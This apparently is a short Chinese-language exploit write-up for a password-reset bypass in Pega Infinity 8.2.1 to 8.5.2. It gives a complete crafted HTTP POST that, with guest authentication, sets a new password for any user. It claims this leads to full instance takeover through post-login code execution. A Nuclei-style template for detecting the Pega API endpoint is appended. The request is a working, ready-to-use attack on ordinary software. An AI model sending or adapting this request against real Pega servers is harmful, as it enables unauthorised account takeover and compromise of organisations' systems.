攻击者可以绕过密码重置流程的所有步骤,重置Pega Infinity上任意用户的账户。具体方法是:(1) 启动密码重置流程并输入目标邮箱,然后(2) 强制通过HTTP POST请求更新密码。攻击者可以使用新编辑的账户登录,并通过多种可接受的认证后代码执行向量(修改动态页面、模板等)完全控制Pega实例。
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID 是每个站点的唯一ID,格式如下:ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
无需任何先验知识即可完全控制任何Pega实例。


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_)